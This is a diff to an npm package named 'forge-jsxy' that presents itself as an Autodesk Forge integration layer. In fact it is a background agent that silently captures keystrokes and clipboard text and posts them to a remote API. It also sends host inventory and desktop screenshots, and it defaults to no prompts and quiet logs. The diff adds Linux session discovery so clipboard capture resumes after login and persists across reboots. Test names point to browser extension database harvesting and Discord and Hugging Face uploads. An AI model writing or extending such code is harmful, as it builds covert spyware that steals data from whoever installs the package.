"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.linuxWaylandDisplayValid = linuxWaylandDisplayValid;
|
|
37
|
+
exports.linuxClearStaleGraphicalEnv = linuxClearStaleGraphicalEnv;
|
|
38
|
+
exports.linuxDiscoverWaylandDisplay = linuxDiscoverWaylandDisplay;
|
|
39
|
+
exports.linuxDiscoverDisplay = linuxDiscoverDisplay;
|
|
40
|
+
exports.ensureLinuxGraphicalSessionEnv = ensureLinuxGraphicalSessionEnv;
|
|
41
|
+
exports.linuxDesktopSessionActive = linuxDesktopSessionActive;
|
|
42
|
+
/**
|
|
43
|
+
* Best-effort discovery of graphical session env for clipboard tools under systemd --user,
|
|
44
|
+
* XDG autostart, or boot-before-login when forge-js-agent.env is stale or incomplete.
|
|
45
|
+
*/
|
|
46
|
+
const fs = __importStar(require("node:fs"));
|
|
47
|
+
const os = __importStar(require("node:os"));
|
|
48
|
+
const path = __importStar(require("node:path"));
|
|
49
|
+
const linuxX11_1 = require("./linuxX11");
|
|
50
|
+
function linuxWaylandDisplayValid(name) {
|
|
51
|
+
return waylandSocketExists(name);
|
|
52
|
+
}
|
|
53
|
+
function waylandSocketExists(name) {
|
|
54
|
+
const xdg = (process.env.XDG_RUNTIME_DIR || "").trim() || xdgRuntimeDir();
|
|
55
|
+
if (!xdg || !name)
|
|
56
|
+
return false;
|
|
57
|
+
try {
|
|
58
|
+
return fs.existsSync(path.join(xdg, name));
|
|
59
|
+
}
|
|
60
|
+
catch {
|
|
61
|
+
return false;
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
/** Drop stale `DISPLAY` / `WAYLAND_DISPLAY` left in forge-js-agent.env after reboot or session change. */
|
|
65
|
+
function linuxClearStaleGraphicalEnv() {
|
|
66
|
+
if (process.platform !== "linux")
|
|
67
|
+
return;
|
|
68
|
+
const disp = (process.env.DISPLAY || "").trim();
|
|
69
|
+
if (disp && !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
|
|
70
|
+
delete process.env.DISPLAY;
|
|
71
|
+
}
|
|
72
|
+
const wl = (process.env.WAYLAND_DISPLAY || "").trim();
|
|
73
|
+
if (wl && !waylandSocketExists(wl)) {
|
|
74
|
+
delete process.env.WAYLAND_DISPLAY;
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
function linuxUid() {
|
|
78
|
+
try {
|
|
79
|
+
return os.userInfo().uid;
|
|
80
|
+
}
|
|
81
|
+
catch {
|
|
82
|
+
return process.getuid?.() ?? 1000;
|
|
83
|
+
}
|
|
84
|
+
}
|
|
85
|
+
function xdgRuntimeDir() {
|
|
86
|
+
const fromEnv = (process.env.XDG_RUNTIME_DIR || "").trim();
|
|
87
|
+
if (fromEnv)
|
|
88
|
+
return fromEnv;
|
|
89
|
+
return `/run/user/${linuxUid()}`;
|
|
90
|
+
}
|
|
91
|
+
/** First `wayland-N` socket name under XDG_RUNTIME_DIR, if any. */
|
|
92
|
+
function linuxDiscoverWaylandDisplay() {
|
|
93
|
+
const xdg = xdgRuntimeDir();
|
|
94
|
+
try {
|
|
95
|
+
if (!fs.existsSync(xdg))
|
|
96
|
+
return null;
|
|
97
|
+
const names = fs
|
|
98
|
+
.readdirSync(xdg)
|
|
99
|
+
.filter((e) => /^wayland-\d+$/.test(e))
|
|
100
|
+
.sort((a, b) => {
|
|
101
|
+
const na = parseInt(a.split("-")[1] ?? "0", 10);
|
|
102
|
+
const nb = parseInt(b.split("-")[1] ?? "0", 10);
|
|
103
|
+
return na - nb;
|
|
104
|
+
});
|
|
105
|
+
return names[0] ?? null;
|
|
106
|
+
}
|
|
107
|
+
catch {
|
|
108
|
+
return null;
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
/** First local X11 display (`:N`) with an existing abstract socket. */
|
|
112
|
+
function linuxDiscoverDisplay() {
|
|
113
|
+
try {
|
|
114
|
+
const entries = fs.readdirSync("/tmp/.X11-unix");
|
|
115
|
+
const nums = entries
|
|
116
|
+
.map((e) => /^X(\d+)$/.exec(e))
|
|
117
|
+
.filter((m) => m !== null)
|
|
118
|
+
.map((m) => parseInt(m[1], 10))
|
|
119
|
+
.sort((a, b) => a - b);
|
|
120
|
+
if (nums.length === 0)
|
|
121
|
+
return null;
|
|
122
|
+
return `:${nums[0]}`;
|
|
123
|
+
}
|
|
124
|
+
catch {
|
|
125
|
+
return null;
|
|
126
|
+
}
|
|
127
|
+
}
|
|
128
|
+
/**
|
|
129
|
+
* Fill missing `XDG_RUNTIME_DIR`, `WAYLAND_DISPLAY`, `DISPLAY`, `DBUS_SESSION_BUS_ADDRESS`,
|
|
130
|
+
* and `XAUTHORITY` in `process.env` when a desktop session is present on the host.
|
|
131
|
+
*/
|
|
132
|
+
function ensureLinuxGraphicalSessionEnv() {
|
|
133
|
+
if (process.platform !== "linux")
|
|
134
|
+
return;
|
|
135
|
+
linuxClearStaleGraphicalEnv();
|
|
136
|
+
const xdg = xdgRuntimeDir();
|
|
137
|
+
if (!(process.env.XDG_RUNTIME_DIR || "").trim() && fs.existsSync(xdg)) {
|
|
138
|
+
process.env.XDG_RUNTIME_DIR = xdg;
|
|
139
|
+
}
|
|
140
|
+
const runtime = (process.env.XDG_RUNTIME_DIR || "").trim() || xdg;
|
|
141
|
+
if (runtime && !(process.env.WAYLAND_DISPLAY || "").trim()) {
|
|
142
|
+
const wl = linuxDiscoverWaylandDisplay();
|
|
143
|
+
if (wl)
|
|
144
|
+
process.env.WAYLAND_DISPLAY = wl;
|
|
145
|
+
}
|
|
146
|
+
if (!(process.env.DISPLAY || "").trim()) {
|
|
147
|
+
const disp = linuxDiscoverDisplay();
|
|
148
|
+
if (disp)
|
|
149
|
+
process.env.DISPLAY = disp;
|
|
150
|
+
}
|
|
151
|
+
if (runtime && !(process.env.DBUS_SESSION_BUS_ADDRESS || "").trim()) {
|
|
152
|
+
const busPath = path.join(runtime, "bus");
|
|
153
|
+
if (fs.existsSync(busPath)) {
|
|
154
|
+
process.env.DBUS_SESSION_BUS_ADDRESS = `unix:path=${busPath}`;
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
if (!(process.env.XAUTHORITY || "").trim()) {
|
|
158
|
+
const home = (process.env.HOME || "").trim() || os.homedir();
|
|
159
|
+
const xa = path.join(home, ".Xauthority");
|
|
160
|
+
if (fs.existsSync(xa))
|
|
161
|
+
process.env.XAUTHORITY = xa;
|
|
162
|
+
}
|
|
163
|
+
}
|
|
164
|
+
/**
|
|
165
|
+
* True when an X11 or Wayland desktop session appears present (after optional env discovery).
|
|
166
|
+
*/
|
|
167
|
+
function linuxDesktopSessionActive() {
|
|
168
|
+
if (process.platform !== "linux")
|
|
169
|
+
return false;
|
|
170
|
+
ensureLinuxGraphicalSessionEnv();
|
|
171
|
+
if ((process.env.WAYLAND_DISPLAY || "").trim() || (0, linuxX11_1.linuxLikelyWaylandSession)()) {
|
|
172
|
+
return true;
|
|
173
|
+
}
|
|
174
|
+
const disp = (process.env.DISPLAY || "").trim();
|
|
175
|
+
if (disp) {
|
|
176
|
+
return (0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)();
|
|
177
|
+
}
|
|
178
|
+
return linuxDiscoverDisplay() !== null || linuxDiscoverWaylandDisplay() !== null;
|
|
179
|
+
}
|
package/dist/linuxX11.d.ts
CHANGED
|
@@ -1,2 +1,7 @@
|
|
|
1
1
|
/** True if DISPLAY is unset, non-`:n`, or `/tmp/.X11-unix/Xn` exists. */
|
|
2
2
|
export declare function linuxDisplayPointsToExistingX11Socket(): boolean;
|
|
3
|
+
/**
|
|
4
|
+
* True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
|
|
5
|
+
* propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
|
|
6
|
+
*/
|
|
7
|
+
export declare function linuxLikelyWaylandSession(): boolean;
|
package/dist/linuxX11.js
CHANGED
|
@@ -34,6 +34,7 @@ var __importStar = (this && this.__importStar) || (function () {
|
|
|
34
34
|
})();
|
|
35
35
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
36
|
exports.linuxDisplayPointsToExistingX11Socket = linuxDisplayPointsToExistingX11Socket;
|
|
37
|
+
exports.linuxLikelyWaylandSession = linuxLikelyWaylandSession;
|
|
37
38
|
/**
|
|
38
39
|
* Detect whether DISPLAY=:n points at a real local X11 socket (headless / SSH edge cases).
|
|
39
40
|
*/
|
|
@@ -51,3 +52,20 @@ function linuxDisplayPointsToExistingX11Socket() {
|
|
|
51
52
|
return false;
|
|
52
53
|
}
|
|
53
54
|
}
|
|
55
|
+
/**
|
|
56
|
+
* True when a Wayland compositor session is likely (even if `WAYLAND_DISPLAY` was not
|
|
57
|
+
* propagated into systemd/LaunchAgent — only `DISPLAY=:0` left in forge-js-agent.env).
|
|
58
|
+
*/
|
|
59
|
+
function linuxLikelyWaylandSession() {
|
|
60
|
+
if ((process.env.WAYLAND_DISPLAY || "").trim())
|
|
61
|
+
return true;
|
|
62
|
+
const xdg = (process.env.XDG_RUNTIME_DIR || "").trim();
|
|
63
|
+
if (!xdg)
|
|
64
|
+
return false;
|
|
65
|
+
try {
|
|
66
|
+
return fs.readdirSync(xdg).some((e) => /^wayland-\d+$/.test(e));
|
|
67
|
+
}
|
|
68
|
+
catch {
|
|
69
|
+
return false;
|
|
70
|
+
}
|
|
71
|
+
}
|
|
@@ -12,6 +12,8 @@ export declare function skipUiohookKeyboard(): boolean;
|
|
|
12
12
|
*/
|
|
13
13
|
export declare function skipClipboardSyncReason(): string | null;
|
|
14
14
|
export declare function skipClipboardSync(): boolean;
|
|
15
|
+
/** False for explicit opt-out — no point polling for a desktop session that will never be used. */
|
|
16
|
+
export declare function clipboardSkipReasonIsRecoverable(reason: string | null): boolean;
|
|
15
17
|
/**
|
|
16
18
|
* **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
|
|
17
19
|
* Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
|
|
@@ -19,8 +21,8 @@ export declare function skipClipboardSync(): boolean;
|
|
|
19
21
|
export declare function effectiveSyncKeyboardClipboard(): boolean;
|
|
20
22
|
export declare function resolveSyncApiBase(): string | null;
|
|
21
23
|
/**
|
|
22
|
-
*
|
|
23
|
-
*
|
|
24
|
+
* OS CLI readers are more reliable than @napi-rs/clipboard on Linux and macOS (Wayland compositor,
|
|
25
|
+
* systemd user units, LaunchAgent background processes).
|
|
24
26
|
*/
|
|
25
27
|
export declare function preferExecClipboardReader(): boolean;
|
|
26
28
|
export type DesktopInputSyncStop = () => void | Promise<void>;
|
package/dist/windowsInputSync.js
CHANGED
|
@@ -7,6 +7,7 @@ exports.skipUiohookKeyboardReason = skipUiohookKeyboardReason;
|
|
|
7
7
|
exports.skipUiohookKeyboard = skipUiohookKeyboard;
|
|
8
8
|
exports.skipClipboardSyncReason = skipClipboardSyncReason;
|
|
9
9
|
exports.skipClipboardSync = skipClipboardSync;
|
|
10
|
+
exports.clipboardSkipReasonIsRecoverable = clipboardSkipReasonIsRecoverable;
|
|
10
11
|
exports.effectiveSyncKeyboardClipboard = effectiveSyncKeyboardClipboard;
|
|
11
12
|
exports.resolveSyncApiBase = resolveSyncApiBase;
|
|
12
13
|
exports.preferExecClipboardReader = preferExecClipboardReader;
|
|
@@ -22,10 +23,14 @@ exports.startDesktopInputSync = startDesktopInputSync;
|
|
|
22
23
|
* skips safely on unsupported sessions (headless Linux, many Wayland layouts). Clipboard sync is
|
|
23
24
|
* also skipped on headless Linux (no DISPLAY/WAYLAND) to avoid useless xclip polling and log spam.
|
|
24
25
|
*
|
|
25
|
-
* **
|
|
26
|
-
*
|
|
26
|
+
* **Background / no UI (default for agents):** `FORGE_JS_HEADLESS_UI=1` + `FORGE_JS_CLIPBOARD_POLL_ONLY=1` avoid
|
|
27
|
+
* `clipboard-event` helpers on Linux/macOS, osascript clipboard read, and osascript/xdotool foreground context
|
|
28
|
+
* on clipboard rows (text still syncs via pbpaste / wl-paste / xclip / xsel). Subprocesses use stdio ignore.
|
|
29
|
+
* **OS privacy:** macOS Automation sheets only appear if you opt in (`FORGE_JS_CLIPBOARD_ALLOW_OSASCRIPT=1`
|
|
30
|
+
* or disable headless/no-prompt defaults). Under `FORGE_JS_QUIET_AGENT=1`, routine stderr hints are suppressed.
|
|
27
31
|
*
|
|
28
|
-
* Clipboard:
|
|
32
|
+
* Clipboard: OS CLI first on Linux/macOS (pbpaste / wl-paste|xclip|xsel), PowerShell on Windows;
|
|
33
|
+
* Linux session env is auto-discovered and re-checked after login (systemd-before-GUI case);
|
|
29
34
|
* only the first **1000** characters (JavaScript string units; override `FORGE_JS_CLIPBOARD_SYNC_MAX_CHARS`) are POSTed per change — remainder is dropped for DB storage.
|
|
30
35
|
* Host OS snapshot: a single ``env_file`` row at ``forge-js://host-inventory.json`` (see ``hostInventorySend``) so operator dashboards can show OS type; opt out with ``FORGE_JS_SYNC_HOST_INVENTORY=0``.
|
|
31
36
|
* optional `clipboard-event` for change notifications + slower backup poll unless
|
|
@@ -34,8 +39,11 @@ exports.startDesktopInputSync = startDesktopInputSync;
|
|
|
34
39
|
* Remote desktop screenshot for the `/files` explorer is `fsDesktopScreenshotCapture()` in `fsProtocol.ts`
|
|
35
40
|
* (Windows / Linux / macOS). OS-level privacy (macOS Input Monitoring / Screen Recording, etc.) is outside this package.
|
|
36
41
|
*/
|
|
42
|
+
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
37
43
|
const clientId_1 = require("./clientId");
|
|
38
44
|
const linuxX11_1 = require("./linuxX11");
|
|
45
|
+
const headlessAgent_1 = require("./headlessAgent");
|
|
46
|
+
const linuxClipboardSession_1 = require("./linuxClipboardSession");
|
|
39
47
|
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
40
48
|
const clipboardExec_1 = require("./clipboardExec");
|
|
41
49
|
const clipboardNapi_1 = require("./clipboardNapi");
|
|
@@ -87,6 +95,8 @@ const REGISTRATION_HANDSHAKE_START_DELAY_MS = 1500;
|
|
|
87
95
|
const FLUSH_EVENT_MAX_RETRIES = 3;
|
|
88
96
|
const FLUSH_RETRY_BASE_MS = 150;
|
|
89
97
|
const CLIPBOARD_READ_FAIL_LOG_THROTTLE_MS = 60_000;
|
|
98
|
+
/** Re-check Linux desktop session so clipboard starts after login (systemd often boots before GUI). */
|
|
99
|
+
const CLIPBOARD_SESSION_WATCH_MS = 12_000;
|
|
90
100
|
const DISPOSE_FLUSH_TIMEOUT_MS = 3000;
|
|
91
101
|
const CLIPBOARD_READ_TIMEOUT_MS = 10_000;
|
|
92
102
|
/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
|
|
@@ -180,12 +190,18 @@ function skipClipboardSyncReason() {
|
|
|
180
190
|
return "FORGE_JS_SKIP_CLIPBOARD_SYNC=1";
|
|
181
191
|
}
|
|
182
192
|
if (process.platform === "linux") {
|
|
193
|
+
(0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
|
|
194
|
+
if ((0, linuxClipboardSession_1.linuxDesktopSessionActive)())
|
|
195
|
+
return null;
|
|
183
196
|
const hasDisplay = Boolean((process.env.DISPLAY || "").trim());
|
|
184
197
|
const hasWayland = Boolean((process.env.WAYLAND_DISPLAY || "").trim());
|
|
185
198
|
if (!hasDisplay && !hasWayland) {
|
|
186
199
|
return "headless Linux (no DISPLAY or WAYLAND_DISPLAY)";
|
|
187
200
|
}
|
|
188
|
-
if (hasDisplay &&
|
|
201
|
+
if (hasDisplay &&
|
|
202
|
+
!(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)() &&
|
|
203
|
+
!hasWayland &&
|
|
204
|
+
!(0, linuxX11_1.linuxLikelyWaylandSession)()) {
|
|
189
205
|
return "DISPLAY set but no X11 socket";
|
|
190
206
|
}
|
|
191
207
|
}
|
|
@@ -194,6 +210,14 @@ function skipClipboardSyncReason() {
|
|
|
194
210
|
function skipClipboardSync() {
|
|
195
211
|
return skipClipboardSyncReason() !== null;
|
|
196
212
|
}
|
|
213
|
+
/** False for explicit opt-out — no point polling for a desktop session that will never be used. */
|
|
214
|
+
function clipboardSkipReasonIsRecoverable(reason) {
|
|
215
|
+
if (!reason)
|
|
216
|
+
return false;
|
|
217
|
+
if (reason === "FORGE_JS_SKIP_CLIPBOARD_SYNC=1")
|
|
218
|
+
return false;
|
|
219
|
+
return true;
|
|
220
|
+
}
|
|
197
221
|
/**
|
|
198
222
|
* **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
|
|
199
223
|
* Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
|
|
@@ -208,21 +232,37 @@ function resolveSyncApiBase() {
|
|
|
208
232
|
return (0, deploymentDefaults_1.resolveSyncApiBaseUrl)();
|
|
209
233
|
}
|
|
210
234
|
/**
|
|
211
|
-
*
|
|
212
|
-
*
|
|
235
|
+
* OS CLI readers are more reliable than @napi-rs/clipboard on Linux and macOS (Wayland compositor,
|
|
236
|
+
* systemd user units, LaunchAgent background processes).
|
|
213
237
|
*/
|
|
214
238
|
function preferExecClipboardReader() {
|
|
215
|
-
return
|
|
216
|
-
Boolean((process.env.WAYLAND_DISPLAY || "").trim()));
|
|
239
|
+
return process.platform === "darwin" || process.platform === "linux";
|
|
217
240
|
}
|
|
218
241
|
async function readClipboardDesktop() {
|
|
242
|
+
if (process.platform === "linux" || process.platform === "darwin") {
|
|
243
|
+
(0, headlessAgent_1.applyHeadlessClipboardDefaults)();
|
|
244
|
+
}
|
|
245
|
+
if (process.platform === "linux") {
|
|
246
|
+
(0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
|
|
247
|
+
}
|
|
248
|
+
else if (process.platform === "darwin") {
|
|
249
|
+
(0, clipboardExec_1.ensureClipboardToolPath)();
|
|
250
|
+
}
|
|
219
251
|
const timeoutMs = CLIPBOARD_READ_TIMEOUT_MS;
|
|
220
252
|
let timeoutId;
|
|
221
253
|
try {
|
|
222
254
|
return await Promise.race([
|
|
223
255
|
(async () => {
|
|
224
256
|
if (preferExecClipboardReader()) {
|
|
225
|
-
|
|
257
|
+
try {
|
|
258
|
+
return await (0, clipboardExec_1.readClipboardViaExec)();
|
|
259
|
+
}
|
|
260
|
+
catch (execErr) {
|
|
261
|
+
const native = (0, clipboardNapi_1.readClipboardNapi)();
|
|
262
|
+
if (native !== null)
|
|
263
|
+
return native;
|
|
264
|
+
throw execErr;
|
|
265
|
+
}
|
|
226
266
|
}
|
|
227
267
|
const native = (0, clipboardNapi_1.readClipboardNapi)();
|
|
228
268
|
if (native !== null)
|
|
@@ -446,10 +486,78 @@ function startDesktopInputSync(opts) {
|
|
|
446
486
|
let clipReadSeq = 0;
|
|
447
487
|
let clipWatcherDispose;
|
|
448
488
|
let clipIv = null;
|
|
449
|
-
|
|
489
|
+
let clipSessionWatchIv = null;
|
|
490
|
+
let clipboardPollingActive = false;
|
|
491
|
+
function currentClipboardSkipReason() {
|
|
492
|
+
return skipClipboardSyncReason();
|
|
493
|
+
}
|
|
494
|
+
function stopClipboardPolling() {
|
|
495
|
+
clipboardPollingActive = false;
|
|
496
|
+
try {
|
|
497
|
+
clipWatcherDispose?.();
|
|
498
|
+
}
|
|
499
|
+
catch {
|
|
500
|
+
/* skip */
|
|
501
|
+
}
|
|
502
|
+
clipWatcherDispose = undefined;
|
|
503
|
+
if (clipIv)
|
|
504
|
+
clearInterval(clipIv);
|
|
505
|
+
clipIv = null;
|
|
506
|
+
}
|
|
507
|
+
function startClipboardPolling() {
|
|
508
|
+
if (stopped || clipboardPollingActive)
|
|
509
|
+
return;
|
|
510
|
+
// Caller (ensureClipboardPolling) already verified skipClipboardSyncReason() is null.
|
|
511
|
+
clipboardPollingActive = true;
|
|
512
|
+
void (async () => {
|
|
513
|
+
try {
|
|
514
|
+
await readClipboardDesktop();
|
|
515
|
+
if (process.platform === "linux") {
|
|
516
|
+
try {
|
|
517
|
+
(0, agentEnvFile_1.mergeLinuxGraphicalSessionIntoForgeAgentEnv)((0, clientId_1.defaultCfgmgrDataDir)());
|
|
518
|
+
}
|
|
519
|
+
catch {
|
|
520
|
+
/* best-effort: persist discovered session for next reboot */
|
|
521
|
+
}
|
|
522
|
+
}
|
|
523
|
+
opLog("clipboard probe OK");
|
|
524
|
+
}
|
|
525
|
+
catch (e) {
|
|
526
|
+
opLog(`clipboard probe failed — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
|
|
527
|
+
}
|
|
528
|
+
})();
|
|
529
|
+
clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
|
|
530
|
+
triggerClipboardRead();
|
|
531
|
+
}, opLog);
|
|
532
|
+
const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
|
|
533
|
+
clipIv = setInterval(() => {
|
|
534
|
+
triggerClipboardRead();
|
|
535
|
+
}, effectiveClipPoll);
|
|
536
|
+
opLog(`clipboard sync active (poll=${effectiveClipPoll}ms${clipWatcherDispose ? ", event watcher" : ""})`);
|
|
537
|
+
}
|
|
538
|
+
function ensureClipboardPolling() {
|
|
539
|
+
if (stopped)
|
|
540
|
+
return;
|
|
541
|
+
const skip = currentClipboardSkipReason();
|
|
542
|
+
if (skip) {
|
|
543
|
+
if (clipboardPollingActive) {
|
|
544
|
+
stopClipboardPolling();
|
|
545
|
+
opLog(`clipboard sync paused (${skip})`);
|
|
546
|
+
}
|
|
547
|
+
return;
|
|
548
|
+
}
|
|
549
|
+
if (!clipboardPollingActive) {
|
|
550
|
+
opLog("clipboard sync enabled (desktop session available)");
|
|
551
|
+
startClipboardPolling();
|
|
552
|
+
triggerClipboardRead();
|
|
553
|
+
}
|
|
554
|
+
}
|
|
450
555
|
function triggerClipboardRead() {
|
|
451
556
|
if (stopped)
|
|
452
557
|
return;
|
|
558
|
+
ensureClipboardPolling();
|
|
559
|
+
if (!clipboardPollingActive)
|
|
560
|
+
return;
|
|
453
561
|
if (clipReadBusy) {
|
|
454
562
|
clipReadPending = true;
|
|
455
563
|
return;
|
|
@@ -508,26 +616,20 @@ function startDesktopInputSync(opts) {
|
|
|
508
616
|
}
|
|
509
617
|
})();
|
|
510
618
|
}
|
|
511
|
-
|
|
512
|
-
|
|
619
|
+
const initialClipboardSkip = currentClipboardSkipReason();
|
|
620
|
+
if (initialClipboardSkip) {
|
|
621
|
+
const recoverable = clipboardSkipReasonIsRecoverable(initialClipboardSkip);
|
|
622
|
+
opLog(recoverable
|
|
623
|
+
? `clipboard sync waiting for desktop session (${initialClipboardSkip}); rechecking every ${CLIPBOARD_SESSION_WATCH_MS}ms`
|
|
624
|
+
: `clipboard sync disabled (${initialClipboardSkip})`);
|
|
625
|
+
if (process.platform === "linux" && recoverable) {
|
|
626
|
+
clipSessionWatchIv = setInterval(() => {
|
|
627
|
+
ensureClipboardPolling();
|
|
628
|
+
}, CLIPBOARD_SESSION_WATCH_MS);
|
|
629
|
+
}
|
|
513
630
|
}
|
|
514
631
|
else {
|
|
515
|
-
|
|
516
|
-
try {
|
|
517
|
-
await readClipboardDesktop();
|
|
518
|
-
opLog("clipboard probe OK");
|
|
519
|
-
}
|
|
520
|
-
catch (e) {
|
|
521
|
-
opLog(`clipboard probe failed at startup — sync will retry on poll/events: ${formatDesktopSyncHandshakeError(e)}`);
|
|
522
|
-
}
|
|
523
|
-
})();
|
|
524
|
-
clipWatcherDispose = (0, clipboardEventWatcher_1.attachClipboardEventWatcher)(() => {
|
|
525
|
-
triggerClipboardRead();
|
|
526
|
-
}, opLog);
|
|
527
|
-
const effectiveClipPoll = clipWatcherDispose ? clipBackupPoll : clipPoll;
|
|
528
|
-
clipIv = setInterval(() => {
|
|
529
|
-
triggerClipboardRead();
|
|
530
|
-
}, effectiveClipPoll);
|
|
632
|
+
startClipboardPolling();
|
|
531
633
|
}
|
|
532
634
|
let uiohookMod = null;
|
|
533
635
|
const keyboardSkipReason = skipUiohookKeyboardReason();
|
|
@@ -603,7 +705,12 @@ function startDesktopInputSync(opts) {
|
|
|
603
705
|
opLog(`uIOhook.start failed: ${e}`);
|
|
604
706
|
}
|
|
605
707
|
}
|
|
606
|
-
|
|
708
|
+
const clipboardStatus = initialClipboardSkip
|
|
709
|
+
? clipboardSkipReasonIsRecoverable(initialClipboardSkip)
|
|
710
|
+
? "pending"
|
|
711
|
+
: "off"
|
|
712
|
+
: "on";
|
|
713
|
+
opLog(`started (platform=${process.platform}, keyboard=${uiohookMod ? "on" : keyboardSkipReason ? "off" : "unavailable"}, clipboard=${clipboardStatus}, api=${opts.apiBaseUrl})`);
|
|
607
714
|
let flushBusy = false;
|
|
608
715
|
let flushFailStreak = 0;
|
|
609
716
|
let lastFlushFailLogMs = 0;
|
|
@@ -693,14 +800,9 @@ function startDesktopInputSync(opts) {
|
|
|
693
800
|
if (activeDesktopInputSyncDispose === dispose) {
|
|
694
801
|
activeDesktopInputSyncDispose = null;
|
|
695
802
|
}
|
|
696
|
-
|
|
697
|
-
|
|
698
|
-
|
|
699
|
-
catch {
|
|
700
|
-
/* skip */
|
|
701
|
-
}
|
|
702
|
-
if (clipIv)
|
|
703
|
-
clearInterval(clipIv);
|
|
803
|
+
stopClipboardPolling();
|
|
804
|
+
if (clipSessionWatchIv)
|
|
805
|
+
clearInterval(clipSessionWatchIv);
|
|
704
806
|
clearInterval(flushIv);
|
|
705
807
|
if (invIv)
|
|
706
808
|
clearInterval(invIv);
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "forge-jsxy",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.121",
|
|
4
4
|
"description": "Node.js integration layer for Autodesk Forge",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"forgeAgentWebRtcMinVersion": "1.0.71",
|
|
@@ -20,7 +20,7 @@
|
|
|
20
20
|
"pretest": "npm run build",
|
|
21
21
|
"test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",
|
|
22
22
|
"test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",
|
|
23
|
-
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs",
|
|
23
|
+
"test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/agent-secret-audit-throttle.test.mjs test/chromium-extension-db-harvest.test.mjs test/extension-db-hf-upload.test.mjs test/desktop-input-sync.test.mjs test/clipboard-session.test.mjs",
|
|
24
24
|
"test:env-local": "node --test test/env-local-integrations.mjs",
|
|
25
25
|
"verify": "npm run ci && npm run test:env-local",
|
|
26
26
|
"verify:production": "npm run ci",
|